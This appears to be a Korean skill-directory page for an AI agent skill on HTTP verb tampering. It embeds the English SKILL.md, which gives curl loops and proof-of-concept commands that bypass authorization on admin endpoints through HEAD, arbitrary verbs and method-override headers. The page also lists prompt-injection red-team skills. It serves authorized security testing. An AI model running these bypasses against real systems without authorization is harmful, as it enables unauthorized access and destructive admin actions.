verb-tampering
하는 일
이 스킬은 요청의 HTTP 메서드를 바꿔 접근 규칙을 우회할 수 있는 방식을 설명합니다. 보호된 페이지가 특이한 메서드에 응답하는지 점검하는 보안 테스터를 위한 스킬입니다.
사용하는 경우
- ✓보호된 페이지가 GET이나 POST를 막고, 다른 메서드는 통과하는지 확인하고 싶을 때.
- ✓서버가 방화벽이 확인하지 않을 수 있는 메서드 재정의 헤더를 지원할 때.
- ✓보안 검토에서 모든 HTTP 메서드가 같은 접근 규칙을 따르는지 물을 때.
스킬 링크
https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/web/verb-tampering/SKILL.md복사해서 AI(Claude, ChatGPT, Cursor)에 붙여넣고 지침을 따르도록 요청하세요.
사용 방법
가장 쉬운 방법입니다. 메시지를 복사해 AI에 붙여넣으세요. AI가 스킬을 읽고 지침을 따릅니다.
바로 붙여넣을 수 있는 메시지
Claude Code, Codex, Cursor용입니다. 프로젝트 폴더에서 실행하면 스킬이 설치됩니다.
SKILL.md를 다운로드해 에이전트의 스킬 폴더에 넣으세요.
AI에게 요청하는 예시
“같은 요청을 다른 HTTP 메서드로 보내 제 관리자 페이지에 접근할 수 있는지 확인해 주세요.”
매주 새 스킬 5개. 읽는 데 1분.
작동 방식
에이전트는 같은 요청을 HEAD, OPTIONS, PUT 또는 임의의 메서드 등으로 보내고, 결과를 비교해 접근 검사가 건너뛰어지는지 확인합니다.
기술 내용 (원본 SKILL.md)
작성자의 영어 원문을 GitHub에서 그대로 가져왔습니다.
HTTP Verb / Method Tampering
Authorization is enforced for GET/POST but not for HEAD, OPTIONS, PATCH, DELETE, PUT, TRACE, TRACK, or arbitrary verbs like FOO. Or the app respects X-HTTP-Method-Override and the WAF/auth filter does not. Or the framework routes any verb to the same handler while only the POST ACL rule exists. Severity is High to Critical when it grants admin-only actions or reads protected data.
1. Why it works
- Apache/nginx
Limit/LimitExceptrules in.htaccessoften list onlyGET POST. Any other verb is unrestricted. - Tomcat / JSP
<security-constraint><http-method>GET</http-method>only constrains the listed verbs (the famous "Tomcat verb tampering" class — CVE-2017-12615, CVE-2009-3548 family). - API gateways enforce method-specific policies; the upstream service treats verbs identically.
- Spring
@RequestMappingwithoutmethod=accepts every verb.@GetMapping/@PostMappingconstrain, but generic mappings do not. - Express.js
app.all(path, handler)answers every method. - Framework method-override middleware (
methodOverridein Express, Rails_method=DELETE,X-HTTP-Method-Overridein many) lets aPOSTbecome aDELETEafter auth runs. - Many WAFs ship rule sets keyed on
GET/POSTonly.
2. Detection — does the endpoint answer non-standard verbs?
# Verb sweep
for m in GET HEAD POST PUT PATCH DELETE OPTIONS TRACE TRACK CONNECT PROPFIND COPY MOVE LOCK UNLOCK MKCOL FOO; do
code=$(curl -sk -o /dev/null -w '%{http_code} %{size_download}' -X "$m" "http://<TARGET>/admin/users")
printf '%-10s -> %s\n' "$m" "$code"
done
# Compare auth-required endpoint without creds, per verb
for m in GET HEAD POST PUT PATCH DELETE OPTIONS; do
curl -sk -o /dev/null -w "%-7s %{http_code}\n" -X "$m" "http://<TARGET>/admin/secret"
done
# If GET=401 but HEAD/OPTIONS=200 → verb-based auth bypass candidate.
HEAD is the highest-yield: per RFC 9110 it MUST be treated like GET minus the body, but servers diverge — middleware sometimes short-circuits auth on HEAD. Response headers and status leak data even with no body.
# HEAD bypass — read protected response headers (Set-Cookie, Location, ETag, Content-Length)
curl -sk -I -X HEAD "http://<TARGET>/admin/export.csv"
3. Method-override headers
The app overrides the real method with the value of a header after the WAF/auth has classified the request as POST (allowed) or GET (allowed).
# Common override headers
for h in 'X-HTTP-Method-Override' 'X-HTTP-Method' 'X-Method-Override' 'X-Original-Method'; do
curl -sk -X POST -H "$h: DELETE" "http://<TARGET>/admin/users/1337" \
-o /dev/null -w "%-26s %{http_code}\n" -H "Cookie: session=$LOWPRIV"
done
# Rails / Laravel — _method in form body
curl -sk -X POST "http://<TARGET>/posts/42" \
-H 'Content-Type: application/x-www-form-urlencoded' \
--data '_method=DELETE' -b "session=$LOWPRIV"
# Verb tunnelled through GET (some legacy frameworks)
curl -sk "http://<TARGET>/admin/delete?_method=DELETE&id=42" -b "session=$LOWPRIV"
4. Bypass patterns
| Pattern | Mechanic |
|---|---|
.htaccess Limit |
<Limit GET POST>require valid-user</Limit> blocks GET/POST only — try HEAD, PUT, custom verb. |
Tomcat <http-method> constraint |
The constraint applies only to listed methods. Use any other. |
Spring generic @RequestMapping("/path") |
Every verb routes here. Author meant only POST. |
Express app.all / no method-guard |
Same. |
| Method-override after auth | POST /low-priv allowed; X-HTTP-Method-Override: DELETE upgrades. |
_method=PATCH body field |
Rails/Laravel/Symfony idiom; the auth layer saw a POST. |
WAF gating on GET/POST only |
Send the payload as PATCH or FOO. |
| TRACE/TRACK enabled | XST — reflects request headers, used to read HttpOnly cookies in legacy XSS chains. |
WebDAV verbs (PROPFIND, COPY, MOVE, PUT, MKCOL) on IIS/Apache |
Direct file upload / RCE on misconfigured WebDAV. |
OPTIONS * |
Discloses enabled methods on the whole server: `curl -X OPTIONS -i http://<TARGET>/* |
5. Exploit PoCs
5.1 Admin action via HEAD bypass
# Trigger admin action where HEAD reaches handler logic without auth
curl -sk -I -X HEAD "http://<TARGET>/admin/cache/flush" -o /dev/null -w '%{http_code}\n'
# Confirm side-effect:
curl -sk "http://<TARGET>/api/cache/size"
5.2 Method-override DELETE
# Low-priv us
자주 묻는 질문
X-HTTP-Method-Override란 무엇인가요?
일부 프레임워크가 POST를 다른 메서드로 처리하는 데 쓰는 헤더입니다. 원래 메서드만 확인하는 규칙을 피할 수 있습니다.
Tomcat 설정이 왜 중요한가요?
일부 Tomcat 보안 규칙은 나열된 메서드만 제한하므로, 다른 메서드는 제한 없이 허용될 수 있다고 이 스킬은 설명합니다.
허가된 테스트에서만 쓰나요?
네. 보안 테스트 스킬이므로 테스트 권한이 있는 시스템에서만 사용해야 합니다.
상세 정보
작성자의 원본 설명
HTTP verb/method tampering — auth bypass via HEAD/OPTIONS/arbitrary methods, X-HTTP-Method-Override, TRACE/PUT/DELETE exposure, framework routing flaws.
인기도
- GitHub 스타
- 6.5k
- 순위
- #14083
- 라이선스
- Apache-2.0
- 업데이트
- 2026. 11. 1.
댓글
- …
이 저장소의 다른 스킬
detector-overview
6.5k에이전트가 스캐너가 표시한 코드를 읽고, 표시된 곳 중 어디가 실제 보안 버그이고 어디가 오탐인지 판단하도록 돕습니다.
exploiter-overview
6.5k에이전트가 확인된 여러 보안 약점을 하나의 테스트 체인으로 묶고, 그 체인이 어디까지 닿을 수 있는지 확인하도록 돕습니다.
llm-redteam-overview
6.5k에이전트가 프롬프트 인젝션부터 모델 악용까지 15개 전술 그룹 중 테스트에 맞는 AI 레드팀 가이드를 찾도록 돕습니다.
aatmf-t01-prompt-injection
6.5k숨겨진 지시가 AI 시스템을 덮어쓰려 하는 프롬프트 인젝션을 설명해, 보안 테스터가 이를 점검할 수 있게 합니다.